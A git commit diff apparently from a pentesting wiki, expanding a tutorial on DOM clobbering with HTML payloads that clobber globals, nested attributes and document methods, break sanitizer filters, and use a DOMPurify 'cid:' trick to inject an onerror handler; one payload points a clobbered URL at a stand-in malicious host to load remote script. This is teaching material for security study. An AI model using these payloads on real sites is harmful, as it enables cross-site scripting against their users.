GITBOOK-3800: No subject

This commit is contained in:
CPol 2023-03-03 15:39:23 +00:00 committed by gitbook-bot
parent ac9c37e960
commit 0d24e9705b
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
2 changed files with 101 additions and 24 deletions

View file

@ -12,13 +12,93 @@
</details>
## **DOM Clobbering**
## **Basics**
### **Clobbering `window.someObject`**
It's possible to generate **global variables inside the JS context** with the attributes **`id`** and **`name`** in HTML tags.
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**Only** certain elements can use the **name attribute** to clobber globals, they are: `embed`, `form`, `iframe`, `image`, `img` and `object`.
Interestingly, when you use a **form element** to **clobber** a variable, you will get the **`toString`** value of the element itself: `[object HTMLFormElement]` but with **anchor** the **`toString`** will be the anchor **`href`**. Therefore, if you clobber using the **`a`** tag, you can **control** the **value** when it's **treated as a string**:
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Arrays & Attributes
It's also possible to **clobber an array** and **object attributes**:
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
To clobber **a 3rd attribute** (e.g. x.y.z), you need to use a **`form`**:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
Clobbering more attributes is **more complicated but still possible**, using iframes:
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
The style tag is used to **give enough time to the iframe to render**. Without it you will find an alert of **undefined**.
{% endhint %}
To clobber deeper attributes, you can use **iframes with html encoding** this way:
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
### **Filter Bypassing**
If a filter is **looping** through the **properties** of a node using something like `document.getElementByID('x').attributes` you could **clobber** the attribute **`.attributes`** and **break the filter**. Other DOM properties like **`tagName`** , **`nodeName`** or **`parentNode`** and more are also **clobberable**.
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **Clobbering `window.someObject`**
A common pattern used by JavaScript developers is:
`var someObject = window.someObject || {};`
```javascript
var someObject = window.someObject || {};
```
If you can control some of the HTML on the page, you can clobber the `someObject` reference with a DOM node, such as an anchor. Consider the following code:
@ -35,17 +115,21 @@ If you can control some of the HTML on the page, you can clobber the `someObject
To exploit this vulnerable code, you could inject the following HTML to clobber the `someObject` reference with an anchor element:
**`<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>`**
{% code overflow="wrap" %}
```html
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
```
{% endcode %}
Injecting that data `window.someObject.url` is going to be `href=//malicious-website.com/malicious.js`
Injecting that data **`window.someObject.url`** is going to be `href=//malicious-website.com/malicious.js`
**Trick**: `DOMPurify` allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">` will make the HTML encoded `&quot;` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
**Trick**: **`DOMPurify`** allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** will make the HTML encoded `&quot;` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
Another common technique consists on using **`form`** element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you create an `input` inside the form with `id=attributes` , you will **clobber the attributes property** and the sanitizer **won't** be able to go through the **real attributes**.
You can [**find an example of this type of clobbering in this CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
### Clobbering document object
## Clobbering document object
According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
@ -78,16 +162,17 @@ typeof(document.cookie)
'object
```
### Clobbering writing after the element
## Writing after the element clobbered
You can clobber the results of a **`document.getElementById()`** call if **you inject a `<html>` or `<body>` tag with the same id attribute**. Here's an example:
You can clobber the results of a **`document.getElementById()`** and a **`document.querySelector()`** call if **you inject a `<html>` or `<body>` tag with the same id attribute**. Here's an example:
```html
<div style=display:none id=cdnDomain>test</div>
<div style=display:none id=cdnDomain class=x>test</div>
<p>
<html id="cdnDomain">clobbered</html>
<html id="cdnDomain" class=x>clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
alert(document.querySelector('.x').innerText);//clobbbered
</script>
```
@ -129,19 +214,7 @@ alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
```
#### Clobbering document.querySelector()
The same technique can be used to clobber the results of **`document.querySelector()`**. Since this function returns the first element it can find, you clobber the class name using **`<html>`** or **`<body>`** tag.
```html
<div class=x></div>
<body class=x>
<script>
alert(document.querySelector('.x'))
</script>
```
### Clobbering Forms
## Clobbering Forms
It's possible to add **new entries inside a form** just by **specifying the `form` attribute** inside some tags. You can use this to **add new values inside a form** and to even add a new **button** to **send it** (clickjacking or abusing some `.click()` JS code):

View file

@ -220,6 +220,10 @@ for(let i=0;i<=0x10ffff;i++){
console.log(log)//33,45,62
```
## **Analizing attributtes**
The tool **Hackability inspector** from Portswigger helps to **analyze** the **attributtes** of a javascript object. Check: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
## **.map js files**
* Trick to download .map js files: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)